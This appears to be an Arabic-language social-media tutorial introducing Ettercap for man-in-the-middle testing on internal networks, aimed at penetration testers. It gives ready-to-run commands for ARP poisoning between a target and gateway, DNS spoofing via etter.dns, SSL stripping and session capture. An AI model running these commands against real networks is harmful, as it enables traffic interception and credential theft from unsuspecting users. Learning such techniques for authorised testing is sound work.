ماهي Ettercap – أداة لا غنى عنها في أي سيناريو MITM داخلي
لو أنت شغال على بيئة داخلية أو بتنفذ Engagement فيه LAN Access،
فـ Ettercap هتكون من أول الأدوات اللي تفكر فيها لما تبدأ ARP Spoofing أو DNS Hijack.
أداة خفيفة، مرنة، وفيها كل اللي محتاجه كمختبر اختراق عشان ترصد وتفهم الترافيك لحظة بلحظة.
____________________________________
أهم الاستخدامات الفعلية داخل الـ Engagement
تنفيذ ARP Poisoning بين أي جهازين على الشبكة
مراقبة HTTP Sessions
استخراج Credentials في بيئة بدون تشفير
تحليل DNS Queries داخل الـ LAN
Injection بسيط باستخدام Filters
تسجيل الجلسة وتحليلها لاحقًا بـ Wireshark
___________________________________
التثبيت على Kali
sudo apt install ettercap-text-only ettercap-graphical
أو شغلها بواجهة رسومية:
ettercap -G
____________________________________________
أهم الأوامر اللي بتستخدمها في شغلك فعليًا
ARP Spoofing مباشر بين جهاز والراوتر
ettercap -T -M arp:remote /TARGET// /GW//
DNS Spoof – لو عايز تعيد توجيه اسم نطاق داخلي
افتح ملف إعدادات spoof:
sudo nano /etc/ettercap/etter.dns
مثال:
.labdomain.local A your ip
______________________________
شغّل بقا:
ettercap -T -M arp:remote /TARGET// /GW// -P dns_spoof
SSL Strip (لو فيه ضحية بتفتح مواقع بدون HSTS)
ettercap -T -M arp:remote /TARGET// /GW// -P sslstrip
سجل الجلسة كاملة (عشان تحللها براحتك):
ettercap -T -M arp:remote /TARGET// /GW// -w session.pcap
____________________________________________
ملاحظات مهمة
لازم تشغل Ettercap بـ root أو تعمل setcap:
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/ettercap
شغّله في بيئة متحكم فيها، ما تستخدموش على شبكات إنتاجية
دايمًا اربطه مع أدوات زي Wireshark لتحليل أعمق، أو استخدمه كبداية لحملات Privilege Escalation
وبسكدا ياصديقي اشوفك في بوست جديد ان شاء الله ولا تنساني من صالح دعائك
#redteam #penetrationtesting #ettercap #mitm #networkrecon #dnsSpoof #arpPoisoning #cybersecurity #lanattack #infosec #Sen00oo
حساباتي على منصات التواصل:
| المنصة | الرابط أو المعرف |
|---|---|
| فيسبوك | [حسابي الشخصي] |
| يوتيوب | [قناتي الرسمية] |
| تويتر (X) | [Sen00oo] |
| تليجرام (شخصي) | @Sen00oo |
| جروب تليجرام | [انضم للجروب] |
| قناة تليجرام | [تابع القناة] |
| جروب واتساب | [انضم للجروب] |
💰 للدعم المادي:
| الطريقة | التفاصيل |
|---|---|
| InstaPay | sen00oo@instapay |
| رقم الهاتف | 01272834923 |
| PayPal | [رابط PayPal ] |